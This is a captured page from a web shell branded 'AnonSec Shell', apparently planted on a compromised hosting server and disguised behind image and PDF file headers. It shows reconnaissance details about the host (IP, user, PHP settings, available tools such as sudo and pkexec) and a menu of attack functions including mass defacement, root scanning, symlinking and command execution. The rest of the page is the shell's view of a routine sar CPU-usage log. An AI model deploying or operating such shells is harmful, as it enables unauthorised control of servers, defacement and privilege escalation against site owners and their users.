ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/log/sa/sar06
Linux 4.18.0-553.64.1.el8_10.x86_64 (hcomm124.dns-wk.info) 	2025-09-06 	_x86_64_	(12 CPU)

00:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all      1.10      7.92      0.90      0.47      0.00      0.08      0.35      0.00      0.00     89.18
00:10:01          0      1.77     18.44      1.19      0.13      0.00      0.08      0.04      0.00      0.00     78.35
00:10:01          1      0.80      4.14      0.68      0.47      0.00      0.09      0.03      0.00      0.00     93.79
00:10:01          2      0.87      5.96      0.96      0.50      0.00      0.06      0.02      0.00      0.00     91.64
00:10:01          3      1.56      4.39      0.98      0.15      0.00      0.04      0.02      0.00      0.00     92.87
00:10:01          4      0.82     15.53      1.42      0.81      0.00      0.07      0.02      0.00      0.00     81.34
00:10:01          5      1.48      6.57      0.74      0.11      0.00      0.04      0.02      0.00      0.00     91.05
00:10:01          6      0.58      4.43      0.67      0.62      0.00      0.06      0.01      0.00      0.00     93.62
00:10:01          7      0.75      6.55      0.75      0.45      0.00      0.05      0.02      0.00      0.00     91.44
00:10:01          8      1.10     13.01      1.01      0.17      0.00      0.34      3.98      0.00      0.00     80.38
00:10:01          9      1.25      0.61      0.72      0.62      0.00      0.05      0.02      0.00      0.00     96.73
00:10:01         10      0.99     10.98      1.00      1.03      0.00      0.08      0.02      0.00      0.00     85.90
00:10:01         11      1.20      4.37      0.71      0.59      0.00      0.05      0.02      0.00      0.00     93.06
00:20:01        all      0.87      8.13      0.73      0.25      0.00      0.07      0.34      0.00      0.00     89.62
00:20:01          0      0.82     16.99      0.96      0.07      0.00      0.07      0.03      0.00      0.00     81.04
00:20:01          1      0.91      6.43      0.57      0.04      0.00      0.05      0.03      0.00      0.00     91.97
00:20:01          2      1.15      2.84      0.58      0.05      0.00      0.04      0.02      0.00      0.00     95.33
00:20:01          3      1.25      2.26      0.86      0.27      0.00      0.05      0.02      0.00      0.00     95.29
00:20:01          4      0.74      8.92      0.76      0.06      0.00      0.04      0.01      0.00      0.00     89.46
00:20:01          5      0.67     19.56      0.94      0.18      0.00      0.05      0.01      0.00      0.00     78.58
00:20:01          6      0.68      2.49      0.62      0.20      0.00      0.05      0.02      0.00      0.00     95.94
00:20:01          7      0.67      6.50      0.65      0.38      0.00      0.05      0.01      0.00      0.00     91.73
00:20:01          8      1.06      4.95      0.63      0.28      0.00      0.26      3.85      0.00      0.00     88.97
00:20:01          9      1.24      3.83      0.67      0.45      0.00      0.06      0.02      0.00      0.00     93.74
00:20:01         10      0.65     11.33      0.81      0.47      0.00      0.07      0.01      0.00      0.00     86.66
00:20:01         11      0.57     11.40      0.73      0.50      0.00      0.05      0.01      0.00      0.00     86.74
00:30:01        all      2.32      7.78      0.74      0.26      0.00      0.06      0.23      0.00      0.00     88.62
00:30:01          0      3.33      9.02      0.97      0.41      0.00      0.09      0.04      0.00      0.00     86.14
00:30:01          1      1.30      9.41      0.75      0.09      0.00      0.06      0.03      0.00      0.00     88.37
00:30:01          2      1.80      3.26      0.49      0.33      0.00      0.05      0.02      0.00      0.00     94.06
00:30:01          3      2.49      3.84      0.79      0.24      0.00      0.05      0.02      0.00      0.00     92.58
00:30:01          4      4.11      7.46      0.70      0.25      0.00      0.06      0.02      0.00      0.00     87.42
00:30:01          5      1.83      3.65      0.60      0.53      0.00      0.08      0.02      0.00      0.00     93.28
00:30:01          6      1.33      1.38      0.34      0.06      0.00      0.04      0.02      0.00      0.00     96.83
00:30:01          7      1.51     13.22      0.85      0.56      0.00      0.06      0.02      0.00      0.00     83.79
00:30:01          8      1.78     12.60      1.00      0.09      0.00      0.13      2.49      0.00      0.00     81.91
00:30:01          9      2.64     11.60      0.87      0.05      0.00      0.05      0.02      0.00      0.00     84.77
00:30:01         10      3.36      9.26      0.76      0.29      0.00      0.06      0.02      0.00      0.00     86.26
00:30:01         11      2.33      8.61      0.76      0.18      0.00      0.07      0.02      0.00      0.00     88.04
00:40:01        all      0.73      7.79      0.64      0.27      0.00      0.05      0.15      0.00      0.00     90.37
00:40:01          0      0.91     24.54      1.09      0.26      0.00      0.07      0.02      0.00      0.00     73.11
00:40:01          1      0.75      4.17      0.45      0.26      0.00      0.05      0.02      0.00      0.00     94.30
00:40:01          2      0.69      1.07      0.47      0.68      0.00      0.05      0.02      0.00      0.00     97.04
00:40:01          3      0.66      2.88      0.74      0.08      0.00      0.03      0.01      0.00      0.00     95.61
00:40:01          4      0.65      2.23      0.48      0.40      0.00      0.04      0.01      0.00      0.00     96.19
00:40:01          5      0.77     15.76      0.84      0.18      0.00      0.08      0.01      0.00      0.00     82.35
00:40:01          6      0.46      2.81      0.41      0.66      0.00      0.05      0.01      0.00      0.00     95.60
00:40:01          7      0.43     12.71      0.68      0.31      0.00      0.05      0.01      0.00      0.00     85.81
00:40:01          8      1.08      7.86      0.71      0.03      0.00      0.10      1.66      0.00      0.00     88.56
00:40:01          9      0.86      0.01      0.48      0.25      0.00      0.05      0.02      0.00      0.00     98.34
00:40:01         10      0.66      4.42      0.56      0.11      0.00      0.04      0.02      0.00      0.00     94.20
00:40:01         11      0.82     15.04      0.72      0.09      0.00      0.04      0.01      0.00      0.00     83.29
00:50:01        all      0.76      7.78      0.65      0.27      0.00      0.06      0.15      0.00      0.00     90.32
00:50:01          0      1.37      0.46      0.56      0.24      0.00      0.07      0.03      0.00      0.00     97.27
00:50:01          1      0.94     13.50      0.88      0.09      0.00      0.05      0.02      0.00      0.00     84.53
00:50:01          2      0.39      2.98      0.58      1.00      0.00      0.07      0.02      0.00      0.00     94.97
00:50:01          3      0.64      2.06      0.68      0.42      0.00      0.04      0.02      0.00      0.00     96.15
00:50:01          4      0.72      0.05      0.41      0.30      0.00      0.04      0.02      0.00      0.00     98.47
00:50:01          5      0.73     23.09      1.09      0.24      0.00      0.07      0.01      0.00      0.00     74.77
00:50:01          6      0.95      0.17      0.35      0.23      0.00      0.05      0.01      0.00      0.00     98.23
00:50:01          7      0.64     17.34      0.83      0.05      0.00      0.05      0.01      0.00      0.00     81.08
00:50:01          8      0.57     15.54      0.86      0.04      0.00      0.11      1.66      0.00      0.00     81.21
00:50:01          9      0.80      3.77      0.47      0.19      0.00      0.04      0.01      0.00      0.00     94.72
00:50:01         10      0.75      0.02      0.41      0.33      0.00      0.05      0.01      0.00      0.00     98.43
00:50:01         11      0.59     14.43      0.75      0.12      0.00      0.04      0.01      0.00      0.00     84.06
01:00:00        all      0.67      7.79      0.62      0.27      0.00      0.06      0.24      0.00      0.00     90.36
01:00:00          0      0.79     25.44      1.14      0.06      0.00      0.09      0.03      0.00      0.00     72.46
01:00:00          1      0.72      6.37      0.65      0.36      0.00      0.06      0.02      0.00      0.00     91.83
01:00:00          2      0.86      0.99      0.36      0.35      0.00      0.05      0.02      0.00      0.00     97.38
01:00:00          3      0.58      0.02      0.62      0.23      0.00      0.05      0.01      0.00      0.00     98.50
01:00:00          4      0.47      8.78      0.61      0.52      0.00      0.05      0.01      0.00      0.00     89.56
01:00:00          5      0.55     13.47      0.83      0.42      0.00      0.04      0.02      0.00      0.00     84.67
01:00:00          6      0.37      5.14      0.46      0.16      0.00      0.04      0.01      0.00      0.00     93.82
01:00:00          7      0.53      8.28      0.42      0.11      0.00      0.04      0.01      0.00      0.00     90.61
01:00:00          8      0.98      0.69      0.35      0.10      0.00      0.12      2.67      0.00      0.00     95.09
01:00:00          9      0.87      0.03      0.51      0.58      0.00      0.06      0.02      0.00      0.00     97.94
01:00:00         10      0.45     22.57      1.00      0.20      0.00      0.06      0.01      0.00      0.00     75.71
01:00:00         11      0.84      1.71      0.50      0.19      0.00      0.04      0.02      0.00      0.00     96.71
01:10:01        all      0.73      7.36      0.67      0.63      0.00      0.06      0.21      0.00      0.00     90.34
01:10:01          0      0.90     20.39      1.08      0.22      0.00      0.10      0.02      0.00      0.00     77.29
01:10:01          1      1.12      0.79      0.48      0.39      0.00      0.06      0.02      0.00      0.00     97.14
01:10:01          2      0.81      2.20      0.57      0.99      0.00      0.06      0.02      0.00      0.00     95.35
01:10:01          3      0.55      4.71      0.84      1.06      0.00      0.07      0.01      0.00      0.00     92.76
01:10:01          4      0.71      3.23      0.57      0.86      0.00      0.05      0.02      0.00      0.00     94.56
01:10:01          5      0.54     14.64      0.84      1.05      0.00      0.07      0.01      0.00      0.00     82.86
01:10:01          6      0.69      2.19      0.47      0.92      0.00      0.05      0.01      0.00      0.00     95.65
01:10:01          7      0.45      1.49      0.33      0.39      0.00      0.04      0.01      0.00      0.00     97.29
01:10:01          8      0.79      5.79      0.71      0.04      0.00      0.11      2.30      0.00      0.00     90.27
01:10:01          9      0.77      7.26      0.66      1.01      0.00      0.06      0.02      0.00      0.00     90.23
01:10:01         10      0.69      5.05      0.56      0.35      0.00      0.04      0.01      0.00      0.00     93.29
01:10:01         11      0.76     20.55      0.98      0.23      0.00      0.05      0.01      0.00      0.00     77.42
01:20:01        all      0.88      7.70      0.98      0.17      0.00      0.06      0.21      0.00      0.00     89.99
01:20:01          0      1.31      9.98      1.05      0.08      0.00      0.07      0.03      0.00      0.00     87.48
01:20:01          1      0.95      9.72      0.79      0.08      0.00      0.06      0.02      0.00      0.00     88.39
01:20:01          2      0.79      0.76      0.52      0.31      0.00      0.05      0.02      0.00      0.00     97.55
01:20:01          3      1.13      0.27      0.85      0.27      0.00      0.05      0.02      0.00      0.00     97.41
01:20:01          4      0.84      8.24      1.73      0.05      0.00      0.07      0.02      0.00      0.00     89.06
01:20:01          5      0.70     10.53      0.68      0.09      0.00      0.05      0.01      0.00      0.00     87.95
01:20:01          6      0.78      1.64      0.35      0.22      0.00      0.06      0.01      0.00      0.00     96.94
01:20:01          7      0.71     30.31      1.33      0.09      0.00      0.05      0.01      0.00      0.00     67.50
01:20:01          8      1.10      1.06      0.79      0.13      0.00      0.11      2.39      0.00      0.00     94.42
01:20:01          9      0.73      3.10      0.72      0.14      0.00      0.05      0.02      0.00      0.00     95.25
01:20:01         10      0.76      7.90      2.17      0.28      0.00      0.10      0.02      0.00      0.00     88.77
01:20:01         11      0.76      8.88      0.81      0.35      0.00      0.05      0.01      0.00      0.00     89.14
01:30:01        all      1.96     10.64      1.84      0.44      0.00      0.18      1.19      0.00      0.00     83.76
01:30:01          0      1.94     15.06      2.01      0.71      0.00      0.14      0.08      0.00      0.00     80.05
01:30:01          1      1.95      8.54      1.53      0.37      0.00      0.10      0.04      0.00      0.00     87.46
01:30:01          2      2.93     13.45      3.11      0.44      0.00      0.11      0.04      0.00      0.00     79.91
01:30:01          3      1.68      6.01      2.00      0.50      0.00      0.09      0.03      0.00      0.00     89.68
01:30:01          4      2.48     14.12      1.89      0.10      0.00      0.08      0.03      0.00      0.00     81.30
01:30:01          5      1.90     14.18      2.02      0.40      0.00      0.09      0.03      0.00      0.00     81.39
01:30:01          6      1.65      9.96      1.87      0.49      0.00      0.10      0.03      0.00      0.00     85.90
01:30:01          7      2.93     16.91      2.09      0.66      0.00      0.09      0.03      0.00      0.00     77.30
01:30:01          8      0.11      0.49      0.28      0.04      0.00      1.08     13.90      0.00      0.00     84.09
01:30:01          9      2.87      5.63      1.65      0.64      0.00      0.09      0.03      0.00      0.00     89.09
01:30:01         10      1.82     11.08      1.67      0.26      0.00      0.07      0.02      0.00      0.00     85.08
01:30:01         11      1.23     12.23      1.88      0.68      0.00      0.09      0.02      0.00      0.00     83.87
01:40:00        all      0.83      8.75      1.02      0.38      0.00      0.10      0.50      0.00      0.00     88.42
01:40:00          0      1.47      4.47      0.95      0.70      0.00      0.09      0.04      0.00      0.00     92.28
01:40:00          1      0.73     12.62      0.92      0.31      0.00      0.06      0.02      0.00      0.00     85.35
01:40:00          2      0.80      4.75      1.36      0.43      0.00      0.06      0.02      0.00      0.00     92.58
01:40:00          3      1.33      4.35      1.22      0.28      0.00      0.05      0.02      0.00      0.00     92.75
01:40:00          4      0.79      3.78      0.77      0.11      0.00      0.05      0.02      0.00      0.00     94.48
01:40:00          5      0.61     17.79      1.46      0.14      0.00      0.06      0.02      0.00      0.00     79.92
01:40:00          6      0.76      2.78      0.73      0.54      0.00      0.07      0.02      0.00      0.00     95.11
01:40:00          7      0.41     18.52      1.02      0.33      0.00      0.07      0.01      0.00      0.00     79.64
01:40:00          8      0.48      0.76      0.51      0.35      0.00      0.46      5.82      0.00      0.00     91.62
01:40:00          9      0.99      5.53      0.94      0.97      0.00      0.08      0.02      0.00      0.00     91.47
01:40:00         10      0.81      3.36      0.92      0.27      0.00      0.06      0.02      0.00      0.00     94.55
01:40:00         11      0.73     26.30      1.48      0.18      0.00      0.06      0.01      0.00      0.00     71.24
01:50:00        all      1.25      7.63      0.67      0.40      0.00      0.06      0.21      0.00      0.00     89.78
01:50:00          0      1.45     25.08      1.25      0.12      0.00      0.08      0.03      0.00      0.00     71.98
01:50:00          1      1.64      9.47      0.77      0.21      0.00      0.05      0.02      0.00      0.00     87.83
01:50:00          2      1.47      2.61      0.54      0.58      0.00      0.06      0.02      0.00      0.00     94.71
01:50:00          3      1.25      2.36      0.76      0.27      0.00      0.05      0.02      0.00      0.00     95.29
01:50:00          4      1.00     11.25      0.74      0.64      0.00      0.06      0.02      0.00      0.00     86.29
01:50:00          5      1.18      4.17      0.58      0.88      0.00      0.05      0.02      0.00      0.00     93.11
01:50:00          6      0.97      2.80      0.41      0.46      0.00      0.04      0.01      0.00      0.00     95.31
01:50:00          7      0.98     19.83      0.93      0.35      0.00      0.07      0.01      0.00      0.00     77.82
01:50:00          8      1.38      4.51      0.66      0.36      0.00      0.12      2.28      0.00      0.00     90.69
01:50:00          9      1.29      3.06      0.55      0.64      0.00      0.05      0.02      0.00      0.00     94.38
01:50:00         10      1.12      5.84      0.50      0.10      0.00      0.05      0.02      0.00      0.00     92.37
01:50:00         11      1.28      0.58      0.40      0.14      0.00      0.06      0.02      0.00      0.00     97.51

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all      1.39      8.63      1.28      0.72      0.00      0.12      0.59      0.00      0.00     87.27
02:00:01          0      1.74      8.69      1.34      0.33      0.00      0.09      0.05      0.00      0.00     87.76
02:00:01          1      1.15      5.58      1.11      0.26      0.00      0.07      0.03      0.00      0.00     91.81
02:00:01          2      1.11      8.00      1.98      1.10      0.00      0.10      0.03      0.00      0.00     87.68
02:00:01          3      1.43      4.04      1.52      1.33      0.00      0.08      0.02      0.00      0.00     91.58
02:00:01          4      2.11     15.60      1.15      0.38      0.00      0.07      0.02      0.00      0.00     80.68
02:00:01          5      1.01     14.78      1.32      0.27      0.00      0.07      0.02      0.00      0.00     82.54
02:00:01          6      1.00      2.34      0.90      0.40      0.00      0.05      0.02      0.00      0.00     95.30
02:00:01          7      1.21      7.80      1.12      0.93      0.00      0.08      0.02      0.00      0.00     88.83
02:00:01          8      1.07      4.34      0.62      0.42      0.00      0.56      6.80      0.00      0.00     86.18
02:00:01          9      1.53      6.16      1.43      1.85      0.00      0.10      0.02      0.00      0.00     88.92
02:00:01         10      2.41     16.89      1.48      0.62      0.00      0.07      0.02      0.00      0.00     78.50
02:00:01         11      0.96      9.30      1.40      0.77      0.00      0.07      0.02      0.00      0.00     87.48
02:10:01        all      1.07      8.00      0.65      0.18      0.00      0.06      0.21      0.00      0.00     89.81
02:10:01          0      1.28     16.06      0.94      0.18      0.00      0.07      0.03      0.00      0.00     81.45
02:10:01          1      1.28      2.96      0.50      0.04      0.00      0.05      0.02      0.00      0.00     95.14
02:10:01          2      1.28      1.12      0.61      0.31      0.00      0.05      0.02      0.00      0.00     96.61
02:10:01          3      1.11      3.37      0.78      0.21      0.00      0.05      0.02      0.00      0.00     94.46
02:10:01          4      0.70     25.30      1.00      0.08      0.00      0.07      0.01      0.00      0.00     72.84
02:10:01          5      1.31      6.49      0.56      0.10      0.00      0.04      0.01      0.00      0.00     91.49
02:10:01          6      0.60      3.30      0.33      0.07      0.00      0.03      0.01      0.00      0.00     95.66
02:10:01          7      1.12      0.70      0.33      0.13      0.00      0.05      0.02      0.00      0.00     97.65
02:10:01          8      1.05      1.72      0.47      0.22      0.00      0.16      2.38      0.00      0.00     94.01
02:10:01          9      1.25      1.23      0.63      0.49      0.00      0.05      0.02      0.00      0.00     96.33
02:10:01         10      0.55     30.68      1.20      0.09      0.00      0.07      0.01      0.00      0.00     67.40
02:10:01         11      1.32      3.11      0.51      0.29      0.00      0.04      0.01      0.00      0.00     94.70
02:20:01        all      0.87      6.57      0.87      1.35      0.00      0.09      0.19      0.00      0.00     90.05
02:20:01          0      0.74     45.02      2.02      1.55      0.00      0.13      0.03      0.00      0.00     50.51
02:20:01          1      1.16      4.73      0.77      0.86      0.00      0.08      0.03      0.00      0.00     92.37
02:20:01          2      0.84      4.01      0.85      2.24      0.00      0.10      0.03      0.00      0.00     91.95
02:20:01          3      0.82      0.57      1.14      2.22      0.00      0.10      0.02      0.00      0.00     95.13
02:20:01          4      0.82      4.82      0.85      1.83      0.00      0.12      0.02      0.00      0.00     91.54
02:20:01          5      0.72      1.01      0.67      0.50      0.00      0.05      0.02      0.00      0.00     97.01
02:20:01          6      0.34      5.87      0.52      0.47      0.00      0.05      0.01      0.00      0.00     92.73
02:20:01          7      0.93      4.64      0.55      0.48      0.00      0.05      0.02      0.00      0.00     93.33
02:20:01          8      0.86      5.47      0.66      0.57      0.00      0.14      2.06      0.00      0.00     90.25
02:20:01          9      1.59      0.34      0.82      1.49      0.00      0.08      0.02      0.00      0.00     95.65
02:20:01         10      0.79      1.83      0.64      1.32      0.00      0.09      0.02      0.00      0.00     95.32
02:20:01         11      0.86      0.57      0.95      2.62      0.00      0.12      0.02      0.00      0.00     94.85
02:30:01        all      0.99      7.80      0.66      0.22      0.00      0.06      0.21      0.00      0.00     90.06
02:30:01          0      1.68     12.31      0.79      0.28      0.00      0.07      0.03      0.00      0.00     84.83
02:30:01          1      0.90     12.16      0.78      0.07      0.00      0.07      0.02      0.00      0.00     86.01
02:30:01          2      0.92      4.28      0.47      0.26      0.00      0.05      0.02      0.00      0.00     94.01
02:30:01          3      1.23      2.02      0.77      0.28      0.00      0.04      0.01      0.00      0.00     95.65
02:30:01          4      0.56     14.70      0.83      0.17      0.00      0.06      0.02      0.00      0.00     83.67
02:30:01          5      0.67      0.92      0.42      0.39      0.00      0.04      0.02      0.00      0.00     97.55
02:30:01          6      0.68      2.87      0.40      0.30      0.00      0.06      0.01      0.00      0.00     95.68
02:30:01          7      0.83     17.90      0.87      0.16      0.00      0.05      0.01      0.00      0.00     80.18
02:30:01          8      1.01     10.03      0.76      0.13      0.00      0.12      2.31      0.00      0.00     85.64
02:30:01          9      1.54      3.42      0.63      0.43      0.00      0.06      0.02      0.00      0.00     93.92
02:30:01         10      0.72     11.06      0.79      0.16      0.00      0.05      0.02      0.00      0.00     87.19
02:30:01         11      1.09      1.89      0.44      0.07      0.00      0.05      0.02      0.00      0.00     96.43
02:40:01        all      0.89      7.82      0.67      0.21      0.00      0.06      0.20      0.00      0.00     90.15
02:40:01          0      1.07     20.60      1.15      0.31      0.00      0.09      0.03      0.00      0.00     76.75
02:40:01          1      0.90      6.47      0.63      0.10      0.00      0.07      0.02      0.00      0.00     91.79
02:40:01          2      1.16      2.49      0.36      0.14      0.00      0.04      0.02      0.00      0.00     95.79
02:40:01          3      0.62      2.28      0.65      0.14      0.00      0.04      0.01      0.00      0.00     96.25
02:40:01          4      0.92      4.10      0.62      0.55      0.00      0.04      0.01      0.00      0.00     93.76
02:40:01          5      0.82      5.73      0.61      0.29      0.00      0.04      0.02      0.00      0.00     92.48
02:40:01          6      0.52      3.27      0.30      0.11      0.00      0.04      0.01      0.00      0.00     95.75
02:40:01          7      0.65     12.04      0.69      0.20      0.00      0.05      0.01      0.00      0.00     86.34
02:40:01          8      0.83     16.13      1.02      0.09      0.00      0.12      2.15      0.00      0.00     79.67
02:40:01          9      1.15      5.97      0.59      0.16      0.00      0.04      0.02      0.00      0.00     92.07
02:40:01         10      1.18      9.70      0.75      0.22      0.00      0.05      0.01      0.00      0.00     88.09
02:40:01         11      0.90      5.10      0.61      0.21      0.00      0.05      0.02      0.00      0.00     93.10
02:50:01        all      0.96      7.81      0.68      0.21      0.00      0.06      0.18      0.00      0.00     90.10
02:50:01          0      0.73     37.19      1.50      0.16      0.00      0.10      0.02      0.00      0.00     60.30
02:50:01          1      1.05      0.66      0.48      0.25      0.00      0.06      0.03      0.00      0.00     97.48
02:50:01          2      0.82      3.53      0.46      0.29      0.00      0.04      0.02      0.00      0.00     94.85
02:50:01          3      1.13      1.34      0.77      0.13      0.00      0.04      0.02      0.00      0.00     96.59
02:50:01          4      1.32      1.39      0.54      0.44      0.00      0.05      0.02      0.00      0.00     96.25
02:50:01          5      1.22     21.41      1.02      0.13      0.00      0.06      0.01      0.00      0.00     76.16
02:50:01          6      0.40      4.47      0.39      0.19      0.00      0.04      0.01      0.00      0.00     94.50
02:50:01          7      0.96      2.46      0.52      0.14      0.00      0.04      0.02      0.00      0.00     95.87
02:50:01          8      1.17      9.95      0.87      0.09      0.00      0.12      2.02      0.00      0.00     85.77
02:50:01          9      0.99      1.52      0.51      0.15      0.00      0.05      0.02      0.00      0.00     96.75
02:50:01         10      0.95      0.69      0.50      0.36      0.00      0.06      0.02      0.00      0.00     97.42
02:50:01         11      0.77      9.14      0.60      0.21      0.00      0.06      0.01      0.00      0.00     89.21
03:00:00        all      1.27      7.89      0.71      0.18      0.00      0.06      0.20      0.00      0.00     89.70
03:00:00          0      1.50      9.33      0.77      0.11      0.00      0.07      0.03      0.00      0.00     88.19
03:00:00          1      1.08      8.61      0.65      0.09      0.00      0.06      0.02      0.00      0.00     89.50
03:00:00          2      1.32      0.13      0.33      0.09      0.00      0.05      0.02      0.00      0.00     98.08
03:00:00          3      1.07      0.01      0.72      0.25      0.00      0.04      0.02      0.00      0.00     97.89
03:00:00          4      0.76     25.97      1.35      0.33      0.00      0.07      0.02      0.00      0.00     71.50
03:00:00          5      1.08     12.39      0.79      0.07      0.00      0.05      0.02      0.00      0.00     85.61
03:00:00          6      0.90      0.88      0.47      0.47      0.00      0.05      0.02      0.00      0.00     97.21
03:00:00          7      1.16      7.60      0.55      0.19      0.00      0.05      0.01      0.00      0.00     90.44
03:00:00          8      2.20      0.17      0.55      0.16      0.00      0.13      2.14      0.00      0.00     94.65
03:00:00          9      1.82      0.00      0.51      0.08      0.00      0.04      0.02      0.00      0.00     97.53
03:00:00         10      0.82     14.49      0.72      0.05      0.00      0.07      0.01      0.00      0.00     83.83
03:00:00         11      1.51     15.08      1.07      0.30      0.00      0.07      0.02      0.00      0.00     81.95
03:10:01        all      3.64      7.88      0.91      0.26      0.00      0.07      0.22      0.00      0.00     87.02
03:10:01          0      9.72     11.23      1.17      0.26      0.00      0.10      0.04      0.00      0.00     77.48
03:10:01          1      3.47     10.07      0.96      0.11      0.00      0.07      0.04      0.00      0.00     85.27
03:10:01          2      4.58      2.63      0.79      0.38      0.00      0.06      0.02      0.00      0.00     91.54
03:10:01          3      1.51      4.16      0.99      0.29      0.00      0.05      0.02      0.00      0.00     92.97
03:10:01          4      1.82     10.67      0.94      0.48      0.00      0.06      0.02      0.00      0.00     86.02
03:10:01          5      2.76      8.20      0.84      0.13      0.00      0.05      0.02      0.00      0.00     88.00
03:10:01          6      3.29      1.66      0.49      0.35      0.00      0.05      0.02      0.00      0.00     94.14
03:10:01          7      3.18     14.30      1.01      0.41      0.00      0.06      0.02      0.00      0.00     81.02
03:10:01          8      3.67      3.63      0.94      0.12      0.00      0.12      2.41      0.00      0.00     89.10
03:10:01          9      2.67      2.96      0.78      0.14      0.00      0.06      0.02      0.00      0.00     93.37
03:10:01         10      4.83      6.52      0.93      0.18      0.00      0.07      0.02      0.00      0.00     87.46
03:10:01         11      2.20     18.53      1.14      0.22      0.00      0.09      0.02      0.00      0.00     77.80
03:20:01        all      0.65      7.86      0.62      0.21      0.00      0.06      0.15      0.00      0.00     90.46
03:20:01          0      0.57     33.92      1.37      0.04      0.00      0.08      0.02      0.00      0.00     64.00
03:20:01          1      0.84     13.97      0.75      0.16      0.00      0.05      0.02      0.00      0.00     84.20
03:20:01          2      0.87      1.05      0.47      0.27      0.00      0.05      0.01      0.00      0.00     97.28
03:20:01          3      0.45      3.44      0.67      0.42      0.00      0.05      0.01      0.00      0.00     94.96
03:20:01          4      0.93      0.36      0.43      0.26      0.00      0.05      0.02      0.00      0.00     97.95
03:20:01          5      0.36      7.26      0.68      0.38      0.00      0.04      0.01      0.00      0.00     91.26
03:20:01          6      0.44      3.16      0.42      0.18      0.00      0.03      0.01      0.00      0.00     95.76
03:20:01          7      0.46     12.16      0.57      0.29      0.00      0.05      0.01      0.00      0.00     86.46
03:20:01          8      0.81      1.16      0.44      0.10      0.00      0.11      1.69      0.00      0.00     95.69
03:20:01          9      0.73      5.21      0.48      0.12      0.00      0.04      0.01      0.00      0.00     93.40
03:20:01         10      0.83      0.01      0.34      0.17      0.00      0.05      0.02      0.00      0.00     98.59
03:20:01         11      0.51     12.57      0.76      0.14      0.00      0.08      0.01      0.00      0.00     85.93
03:30:01        all      0.75      7.86      0.63      0.18      0.00      0.05      0.14      0.00      0.00     90.39
03:30:01          0      0.99     27.40      1.25      0.01      0.00      0.07      0.02      0.00      0.00     70.25
03:30:01          1      0.62     18.70      0.85      0.09      0.00      0.07      0.02      0.00      0.00     79.66
03:30:01          2      0.80      0.61      0.49      0.44      0.00      0.05      0.02      0.00      0.00     97.60
03:30:01          3      0.67      3.37      0.85      0.46      0.00      0.05      0.01      0.00      0.00     94.60
03:30:01          4      0.73      0.01      0.28      0.05      0.00      0.03      0.01      0.00      0.00     98.89
03:30:01          5      0.78      0.02      0.46      0.28      0.00      0.05      0.01      0.00      0.00     98.40
03:30:01          6      0.62      3.60      0.42      0.23      0.00      0.05      0.01      0.00      0.00     95.07
03:30:01          7      0.42     27.29      1.01      0.06      0.00      0.05      0.01      0.00      0.00     71.17
03:30:01          8      0.85      8.80      0.70      0.18      0.00      0.11      1.53      0.00      0.00     87.82
03:30:01          9      0.81      4.50      0.49      0.20      0.00      0.04      0.01      0.00      0.00     93.95
03:30:01         10      0.87      0.01      0.40      0.12      0.00      0.05      0.01      0.00      0.00     98.54
